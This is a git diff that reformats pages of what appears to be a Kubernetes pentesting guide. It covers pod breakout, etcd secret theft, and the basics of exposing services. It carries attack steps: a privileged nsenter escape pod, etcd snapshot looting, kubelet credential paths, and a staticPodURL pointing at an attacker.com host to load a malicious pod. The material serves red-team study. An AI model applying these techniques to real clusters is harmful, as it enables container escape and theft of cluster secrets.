+      tty: true
+      securityContext:
+        privileged: true
+      command:
+        [
+          "nsenter",
+          "--target",
+          "1",
+          "--mount",
+          "--uts",
+          "--ipc",
+          "--net",
+          "--pid",
+          "--",
+          "bash",
+        ]
+  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
similarity index 72%
rename from pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
rename to src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
index 411155257..e95909ad1 100644
--- a/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
+++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
@@ -1,19 +1,6 @@
 # Attacking Kubernetes from inside a Pod
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## **Pod Breakout**
 
@@ -25,25 +12,29 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
 
-{% embed url="https://book.hacktricks.xyz/linux-hardening/privilege-escalation" %}
+{{#ref}}
+https://book.hacktricks.xyz/linux-hardening/privilege-escalation
+{{#endref}}
 
 You can check this **docker breakouts to try to escape** from a pod you have compromised:
 
-{% embed url="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" %}
+{{#ref}}
+https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
+{{#endref}}
 
 ### Abusing Kubernetes Privileges
 
 As explained in the section about **kubernetes enumeration**:
 
-{% content-ref url="kubernetes-enumeration.md" %}
-[kubernetes-enumeration.md](kubernetes-enumeration.md)
-{% endcontent-ref %}
+{{#ref}}
+kubernetes-enumeration.md
+{{#endref}}
 
 Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
 
-{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
-[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
-{% endcontent-ref %}
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/
+{{#endref}}
 
 ### Abusing Cloud Privileges
 
@@ -70,13 +61,13 @@ The following Bash script (taken from a [Kubernetes workshop](https://github.com
 ```bash
 sudo apt-get update
 sudo apt-get install nmap
-nmap-kube () 
-{ 
+nmap-kube ()
+{
     nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
 }
 
 nmap-kube-discover () {
-    local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');                                                                  
+    local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
     local SERVER_RANGES=" ";
     SERVER_RANGES+="10.0.0.1 ";
     SERVER_RANGES+="10.0.1.* ";
@@ -88,9 +79,9 @@ nmap-kube-discover
 
 Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
 
-{% content-ref url="pentesting-kubernetes-services/" %}
-[pentesting-kubernetes-services](pentesting-kubernetes-services/)
-{% endcontent-ref %}
+{{#ref}}
+pentesting-kubernetes-services/
+{{#endref}}
 
 ### Sniffing
 
@@ -98,12 +89,12 @@ In case the **compromised pod is running some sensitive service** where other po
 
 ## Network Spoofing
 
-By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET\_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
+By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
 Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**.
 
-{% content-ref url="kubernetes-network-attacks.md" %}
-[kubernetes-network-attacks.md](kubernetes-network-attacks.md)
-{% endcontent-ref %}
+{{#ref}}
+kubernetes-network-attacks.md
+{{#endref}}
 
 ## Node DoS
 
@@ -125,23 +116,23 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
 
 If you managed to **escape from the container** there are some interesting things you will find in the node:
 
-* The **Container Runtime** process (Docker)
-* More **pods/containers** running in the node you can abuse like this one (more tokens)
-* The whole **filesystem** and **OS** in general
-* The **Kube-Proxy** service listening
-* The **Kubelet** service listening. Check config files:
-  * Directory: `/var/lib/kubelet/`
-    * `/var/lib/kubelet/kubeconfig`
-    * `/var/lib/kubelet/kubelet.conf`
-    * `/var/lib/kubelet/config.yaml`
-    * `/var/lib/kubelet/kubeadm-flags.env`
-    * `/etc/kubernetes/kubelet-kubeconfig`
-  * Other **kubernetes common files**:
-    * `$HOME/.kube/config` - **User Config**
-    * `/etc/kubernetes/kubelet.conf`- **Regular Config**
-    * `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
-    * `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
-    * `/etc/kubernetes/pki` - **Kubernetes Key**
+- The **Container Runtime** process (Docker)
+- More **pods/containers** running in the node you can abuse like this one (more tokens)
+- The whole **filesystem** and **OS** in general
+- The **Kube-Proxy** service listening
+- The **Kubelet** service listening. Check config files:
+  - Directory: `/var/lib/kubelet/`
+    - `/var/lib/kubelet/kubeconfig`
+    - `/var/lib/kubelet/kubelet.conf`
+    - `/var/lib/kubelet/config.yaml`
+    - `/var/lib/kubelet/kubeadm-flags.env`
+    - `/etc/kubernetes/kubelet-kubeconfig`
+  - Other **kubernetes common files**:
+    - `$HOME/.kube/config` - **User Config**
+    - `/etc/kubernetes/kubelet.conf`- **Regular Config**
+    - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
+    - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
+    - `/etc/kubernetes/pki` - **Kubernetes Key**
 
 ### Find node kubeconfig
 
@@ -192,9 +183,9 @@ The exploit is the same one as in the previous section, but you now don't depend
 
 If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
 
-{% content-ref url="kubernetes-pivoting-to-clouds.md" %}
-[kubernetes-pivoting-to-clouds.md](kubernetes-pivoting-to-clouds.md)
-{% endcontent-ref %}
+{{#ref}}
+kubernetes-pivoting-to-clouds.md
+{{#endref}}
 
 ### Steal etcd
 
@@ -251,31 +242,27 @@ Output:
 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
 ```
 
-#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share\&utm_medium=member_android)
+#### Read secrets from etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
 
 1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
 2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
 3. Unpack the database:
 
-{% code overflow="wrap" %}
 ```bash
 mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
 ```
-{% endcode %}
 
 4. Start **`etcd`** on your local machine and make it use the stolen snapshot:
 
-{% code overflow="wrap" %}
 ```bash
 etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
 
 ```
-{% endcode %}
 
 5. List all the secrets:
 
 ```bash
-etcdctl get "" --prefix --keys-only | grep secret 
+etcdctl get "" --prefix --keys-only | grep secret
 ```
 
 6. Get the secfrets:
@@ -292,20 +279,19 @@ Therefore, static Pods are always **bound to one Kubelet** on a specific node.
 
 The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
 
-{% hint style="danger" %}
-The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
-{% endhint %}
+> [!CAUTION]
+> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
 
 If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
 
 In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
 
-* Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
-* Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
+- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
+- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
 
 **Another more stealth way would be to:**
 
-* Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
+- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
 
 **Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
 
@@ -317,22 +303,22 @@ metadata:
   namespace: kube-system
 spec:
   containers:
-  - name: bad
-    hostPID: true
-    image: gcr.io/shmoocon-talk-hacking/brick
-    stdin: true
-    tty: true
-    imagePullPolicy: IfNotPresent
-    volumeMounts:
-      - mountPath: /chroot
-        name: host
+    - name: bad
+      hostPID: true
+      image: gcr.io/shmoocon-talk-hacking/brick
+      stdin: true
+      tty: true
+      imagePullPolicy: IfNotPresent
+      volumeMounts:
+        - mountPath: /chroot
+          name: host
   securityContext:
     privileged: true
   volumes:
-  - name: host
-    hostPath:
-      path: /
-      type: Directory
+    - name: host
+      hostPath:
+        path: /
+        type: Directory
 ```
 
 ### Delete pods + unschedulable nodes
@@ -342,7 +328,7 @@ For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/#
 
 ## Automatic Tools
 
-* [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
+- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
 
 ```
 Peirates v1.1.8-beta by InGuardians
@@ -404,19 +390,6 @@ Off-Menu         +
 [exit] Exit Peirates
 ```
 
-* [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
+- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
similarity index 67%
rename from pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
rename to src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
index fec9cdaec..8f96b119f 100644
--- a/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
+++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
@@ -1,19 +1,6 @@
 # Exposing Services in Kubernetes
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
 
@@ -56,28 +43,26 @@ to access this service:
 ```yaml
 apiVersion: v1
 kind: Service
-metadata:  
+metadata:
   name: my-internal-service
 spec:
   selector:
     app: my-app
   type: ClusterIP
-  ports:  
-  - name: http
-    port: 80
-    targetPort: 80
-    protocol: TCP
+  ports:
+    - name: http
+      port: 80
+      targetPort: 80
+      protocol: TCP
 ```
 
 _This method requires you to run `kubectl` as an **authenticated user**._
 
 List all ClusterIPs:
 
-{% code overflow="wrap" %}
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
 ```
-{% endcode %}
 
 ### NodePort
 
@@ -85,29 +70,27 @@ When **NodePort** is utilised, a designated port is made available on all Nodes
 
 List all NodePorts:
 
-{% code overflow="wrap" %}
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
 ```
-{% endcode %}
 
 An example of NodePort specification:
 
 ```yaml
 apiVersion: v1
 kind: Service
-metadata:  
+metadata:
   name: my-nodeport-service
 spec:
-  selector:    
+  selector:
     app: my-app
   type: NodePort
-  ports:  
-  - name: http
-    port: 80
-    targetPort: 80
-    nodePort: 30036
-    protocol: TCP
+  ports:
+    - name: http
+      port: 80
+      targetPort: 80
+      nodePort: 30036
+      protocol: TCP
 ```
 
 If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
@@ -120,19 +103,16 @@ You have to pay for a LoadBalancer per exposed service, which can be expensive.
 
 List all LoadBalancers:
 
-{% code overflow="wrap" %}
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
 ```
-{% endcode %}
 
 ### External IPs <a href="#external-ips" id="external-ips"></a>
 
-{% hint style="success" %}
-External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
-
-For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
-{% endhint %}
+> [!TIP]
+> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
+>
+> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
 
 Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
 
@@ -176,11 +156,9 @@ When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Se
 
 List all ExternalNames:
 
-{% code overflow="wrap" %}
 ```bash
 kubectl get services --all-namespaces | grep ExternalName
 ```
-{% endcode %}
 
 ### Ingress
 
@@ -202,28 +180,26 @@ spec:
     serviceName: other
     servicePort: 8080
   rules:
-  - host: foo.mydomain.com
-    http:
-      paths:
-      - backend:
-          serviceName: foo
-          servicePort: 8080
-  - host: mydomain.com
-    http:
-      paths:
-      - path: /bar/*
-        backend:
-          serviceName: bar
-          servicePort: 8080
+    - host: foo.mydomain.com
+      http:
+        paths:
+          - backend:
+              serviceName: foo
+              servicePort: 8080
+    - host: mydomain.com
+      http:
+        paths:
+          - path: /bar/*
+            backend:
+              serviceName: bar
+              servicePort: 8080
 ```
 
 List all the ingresses:
 
-{% code overflow="wrap" %}
 ```bash
 kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
 ```
-{% endcode %}
 
 Although in this case it's better to get the info of each one by one to read it better:
 
@@ -233,20 +209,7 @@ kubectl get ingresses --all-namespaces -o=yaml
 
 ### References
 
-* [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
-* [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
+- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
+- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-basics.md b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
similarity index 71%
rename from pentesting-cloud/kubernetes-security/kubernetes-basics.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
index 61bfad269..1625346aa 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-basics.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
@@ -2,20 +2,7 @@
 
 ## Kubernetes Basics
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 **The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
 
@@ -23,30 +10,30 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 ### What does Kubernetes do?
 
-* Allows running container/s in a container engine.
-* Schedule allows containers mission efficient.
-* Keep containers alive.
-* Allows container communications.
-* Allows deployment techniques.
-* Handle volumes of information.
+- Allows running container/s in a container engine.
+- Schedule allows containers mission efficient.
+- Keep containers alive.
+- Allows container communications.
+- Allows deployment techniques.
+- Handle volumes of information.
 
 ### Architecture
 
 ![](https://sickrov.github.io/media/Screenshot-68.jpg)
 
-* **Node**: operating system with pod or pods.
-  * **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
-    * **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
+- **Node**: operating system with pod or pods.
+  - **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
+    - **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
       When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
-* **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
-* **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
-* **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
-* **Master process:**
-  * **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
-  * **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
-  * **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
-  * **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
-* **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
+- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
+- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
+- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
+- **Master process:**
+  - **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
+  - **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
+  - **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
+  - **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
+- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
 
 Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
 
@@ -56,28 +43,28 @@ When a pod creates data that shouldn't be lost when the pod disappear it should
 
 **Other configurations:**
 
-* **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
-* **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
-* **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
-* **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
-* **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
-  * If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
-    * A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
-    * When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
-    * `minikube addons enable ingress`
